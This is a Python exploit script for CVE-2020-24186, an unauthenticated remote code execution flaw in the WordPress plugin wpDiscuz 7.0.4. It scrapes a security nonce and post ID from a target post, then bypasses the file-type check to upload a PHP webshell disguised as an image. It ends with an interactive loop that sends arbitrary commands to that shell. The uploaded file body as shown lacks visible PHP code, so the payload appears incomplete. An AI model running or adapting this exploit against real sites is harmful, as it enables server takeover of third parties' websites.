#!/bin/python3 # Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Remote Code Execution # Google Dork: N/A # Date: 2021/06/08 # Exploit Author: Fellipe Oliveira # Vendor Homepage: https://gvectors.com/ # Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip # Version: wpDiscuz 7.0.4 # Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2) # CVE : CVE-2020-24186 # Thanks for the great contribution to the code: Z3roC00l (https://twitter.com/zeroc00I) import requests import optparse import re import random import time import string import json parser = optparse.OptionParser() parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://192.168.1.81/blog") parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /2021/06/blogpost") options, args = parser.parse_args() if not options.url or not options.path: print('[+] Specify an url target') print('[+] Example usage: exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost') print('[+] Example help usage: exploit.py -h') exit() session = requests.Session() main_url = options.url path = options.path url_blog = main_url + path clean_host = main_url.replace('http://', '').replace('/wordpress','') def banner(): print('---------------------------------------------------------------') print('[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution') print('[-] File Upload Bypass Vulnerability - PHP Webshell Upload') print('[-] CVE: CVE-2020-24186') print('[-] https://github.com/hevox') print('--------------------------------------------------------------- \n') def csrfRequest(): global wmuSec global wc_post_id try: get_html = session.get(url_blog) response_len = str(len(get_html.text)) response_code = str(get_html.status_code) print('[+] Response length:['+response_len+'] | code:['+response_code+']') raw_wmu = get_html.text.replace(',','\n') wmuSec = re.findall('wmuSecurity.*$',raw_wmu,re.MULTILINE)[0].split('"')[2] print('[!] Got wmuSecurity value: '+ wmuSec +'') raw_postID = get_html.text.replace(',','\n') wc_post_id = re.findall('wc_post_id.*$',raw_postID,re.MULTILINE)[0].split('"')[2] print('[!] Got wmuSecurity value: '+ wc_post_id +' \n') except requests.exceptions.ConnectionError as err: print('\n[x] Failed to Connect in: '+url_blog+' ') print('[x] This host seems to be Down') exit() def nameRandom(): global shell_name print('[+] Generating random name for Webshell...') shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15))) time.sleep(1) print('[!] Generated webshell name: '+shell_name+'\n') return shell_name def shell_upload(): global shell print('[!] Trying to Upload Webshell..') try: upload_url = main_url + "/wp-admin/admin-ajax.php" upload_cookies = {"wordpress_test_cookie": "WP%20Cookie%20check", "wpdiscuz_hide_bubble_hint": "1"} upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------2032192841253859011643762941", "Origin": "http://"+clean_host+"", "Connection": "close", "Referer": url_blog} upload_data = "-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwmuUploadFiles\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_nonce\"\r\n\r\n"+wmuSec+"\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\r\n\r\n\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\""+shell_name+".php\"\r\nContent-Type: image/png\r\n\r\nGIF689a;\r\n\r\n\r\n\x1a\x82\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"postId\"\r\n\r\n"+wc_post_id+"\r\n-----------------------------2032192841253859011643762941--\r\n" check = session.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data) json_object = (json.loads(check.text)) status = (json_object["success"]) get_path = (check.text.replace(',','\n')) shell_pret = re.findall('url.*$',get_path,re.MULTILINE) find_shell = str(shell_pret) raw = (find_shell.replace('\\','').replace('url":"','').replace('\',','').replace('"','').replace('[\'','')) shell = (raw.split(" ",1)[0]) if status == True: print('[+] Upload Success... Webshell path:' +shell+' \n') else: print('[x] Failed to Upload Webshell in: '+ url_blog +' ') exit() except requests.exceptions.HTTPError as conn: print('[x] Failed to Upload Webshell in: '+ url_blog +' ') return shell def code_exec(): try: while True: cmd = input('> ') codex = session.get(shell + '?cmd='+cmd+'') print(codex.text.replace('GIF689a;','').replace('�','')) except: print('\n[x] Failed to execute PHP code...') banner() csrfRequest() nameRandom() shell_upload() code_exec()